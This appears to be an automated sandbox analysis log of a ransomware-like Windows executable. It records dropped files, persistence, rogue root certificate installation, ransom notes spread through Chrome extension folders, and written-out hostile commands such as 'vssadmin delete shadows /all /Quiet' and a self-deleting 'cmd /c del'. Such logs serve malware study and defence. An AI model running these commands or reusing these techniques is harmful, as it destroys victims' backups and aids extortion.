Code function: 0_2_0041D4D0 LoadStringW,LoadStringW,LoadStringW,CoInitializeEx,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,SHGetFolderPathW,SHGetFolderPathW,CoCreateInstance,CoCreateInstance,CoCreateInstance,ExitProcess,_memset,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetSpecialFolderPathW,SHGetFolderPathW,SHGetFolderPathW,GetModuleFileNameW,DeleteFileW,LookupPrivilegeValueA,CreateMutexW,GetLastError,_memset,GetVersionExW,CreateThread,CreateThread,_memset,__wfopen_s,_fprintf,CreateThread,CreateThread,CreateThread,SetThreadPriority,WaitForSingleObject,WaitForSingleObject,_memset,ShellExecuteW,ShellExecuteW,ShellExecuteW,ShellExecuteW,CreateThread,WaitForSingleObject,CreateThread,WaitForSingleObject,

0_2_0041D4D0

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

File created: C:\Users\user\AppData\Roaming\svcmtr.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

Mutant created: \Sessions\1\BaseNamedObjects\435-3435-4546

Source: C:\Users\user\AppData\Roaming\svcmtr.exe

File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Low\restore_files_gpmus.txt

Jump to behavior

Source: C:\Windows\System32\vssadmin.exe	Console Write: ........................................(.P.....d.......l........................................................................'.@............			Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Console Write: .................+.@............N.o. .i.t.e.m.s. .f.o.u.n.d. .t.h.a.t. .s.a.t.i.s.f.y. .t.h.e. .q.u.e.r.y.......X.......P........+.@............			Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: scan	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: SCAN	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: KERNEL32	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: \Recovery_File_	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: .txt	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: 435-3435-4546	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: %s%s%s%S	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: open	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: open	0_2_0041D4D0
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Command line argument: open	0_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: scan	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: SCAN	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: KERNEL32	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: \Recovery_File_	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: .txt	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: 435-3435-4546	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: E722D94C1CAC34B	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: E722D94C1CAC34B	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: E722D94C1CAC34B	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: %s%s%s%S	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: open	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: open	2_2_0041D4D0
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Command line argument: open	2_2_0041D4D0

Source: 0t8amSU3vd.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 0t8amSU3vd.exe

ReversingLabs: Detection: 91%

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

File read: C:\Users\user\Desktop\0t8amSU3vd.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\0t8amSU3vd.exe "C:\Users\user\Desktop\0t8amSU3vd.exe"
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe C:\Users\user\AppData\Roaming\svcmtr.exe
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe "C:\Users\user\AppData\Roaming\svcmtr.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe "C:\Users\user\AppData\Roaming\svcmtr.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe "C:\Users\user\AppData\Roaming\svcmtr.exe"
Source: unknown	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\restore_files_gpmus.html
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1444 --field-trial-handle=1208,i,4485940417927276280,14403554526492516596,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\restore_files_gpmus.txt
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Users\user\AppData\Roaming\svcmtr.exe C:\Users\user\AppData\Roaming\svcmtr.exe	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del C:\Users\user\Desktop\0T8AMS~1.EXE >> NUL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Process created: C:\Windows\System32\vssadmin.exe "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1444 --field-trial-handle=1208,i,4485940417927276280,14403554526492516596,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\vssadmin.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Section loaded: msvfw32.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: version.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: dwmapi.dll

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{E436EBB3-524F-11CE-9F53-0020AF0BA770}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\GoogleUpdater
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\chrome_BITS_2696_1526441409

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Unpacked PE file: 0.2.0t8amSU3vd.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 2.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 11.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 12.2.svcmtr.exe.400000.1.unpack
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Unpacked PE file: 13.2.svcmtr.exe.400000.1.unpack

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

Code function: 0_2_0042CCB4 LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_0042CCB4

Source: C:\Users\user\Desktop\0t8amSU3vd.exe	Code function: 0_2_004299E5 push ecx; ret		0_2_004299F8
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Code function: 2_2_004299E5 push ecx; ret		2_2_004299F8

Source: 0t8amSU3vd.exe	Static PE information: section name: .text entropy: 7.771301677112809
Source: svcmtr.exe.0.dr	Static PE information: section name: .text entropy: 7.771301677112809

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Users\user\Desktop\0t8amSU3vd.exe

File created: C:\Users\user\AppData\Roaming\svcmtr.exe

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.5_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.2_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.62.0_0\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\restore_files_gpmus.txt	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\restore_files_gpmus.html	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svcmtr.exe	File created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\restore_files_gpmus.txt	Jump to behavior
